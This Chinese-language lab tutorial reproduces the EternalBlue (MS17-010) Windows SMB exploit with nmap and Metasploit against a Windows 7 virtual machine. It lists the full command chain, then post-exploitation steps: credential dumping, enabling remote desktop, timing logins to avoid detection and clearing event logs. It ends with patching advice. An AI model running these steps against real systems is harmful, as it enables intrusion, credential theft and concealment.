目录
一、永恒之蓝定义
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该程序出来不久就被微软通过打补丁修复了。
二、SMB协议
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
三、准备工作
- 虚拟机:VMware
- 靶机:Windows 7(IP:192.168.184.138)
- 攻击机:Kali (IP:192.168.184.130)
- 工具:Kali中的nmap metasploit(MSF)
四、漏洞复现
1、主机发现
前提win7关闭防火墙
1.可以ipconfig ifconfig分别查看win7和kali中的ip
win7
kali
2.用kali中的nmap 扫描一下网段做主机发现
nmap -sP 192.168.184.0/24
.1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7
3.用kali中的metasploit(MSF)做主机发现 以下都是要用MSF的
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.184.0/24 //设置扫描网段
set threads 50 //提高线程
run //运行
这是以上的方法做主机发现,其实还有很多。
- Windows 7 IP:192.168.184.138
- Kali IP:192.168.184.130
让他们ping一下,看看是否联通。
2、端口扫描
use auxiliary/scanner/portscan/tcp //使用模块
set rhosts 192.168.184.138 //设置远程ip
扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)
3、利用模块
MSF 搜索一下永恒之蓝的漏洞 输入search ms17-010 (微软 永恒之蓝编号ms17-010)
1. blue就是永恒之蓝的漏洞
2. psexec是可利用的一个javascripe(JS)的一个模块
3. command是运行cmd的
4. 最后一个是探测的模块
a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。
use auxiliary/scanner/smb/smb_ms17_010 //使用模块
show options //查看要配置的参数
set rhosts 192.168.184.138 //设置远程ip
run //运行
我们扫出来是 likely 可能的 可能存在漏洞 good
b.我们在利用永恒之蓝的模块
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run
慢慢跑
成功!!!
运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。
五、演示功能
1.获取cmd
meterpreter > shell
chcp 65001 //转换一下编码 要不然会乱码
2.捕获屏幕
meterpreter > screenshot
查看一下图片
3.上传文件
meterpreter > upload user.txt c://
到win7看一看,果然有了。
4.下载文件
meterpreter > download d://1.txt
5.远程连接
meterpreter > load kiwi //获取密码
Loading extension kiwi...Success.
creds_all #列举所有凭据
meterpreter > run post/windows/manage/enable_rdp //启用远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面
输入刚刚查到的账户和密码
连接成功!!!
6.清除日志
win7 事件查看器(日志)
kali中清除
meterpreter > clearev
在次查看,都被清空了,但是还会有最后一个命令清除的日志。
六、预防方案
- 关闭445端口。
- 打开防火墙,安装安全软件。
- 安装对应补丁。
七、总结
为了维持操作系统的安全,我们能做到的是及时更新,安装补丁,关闭不必要的服务和端口。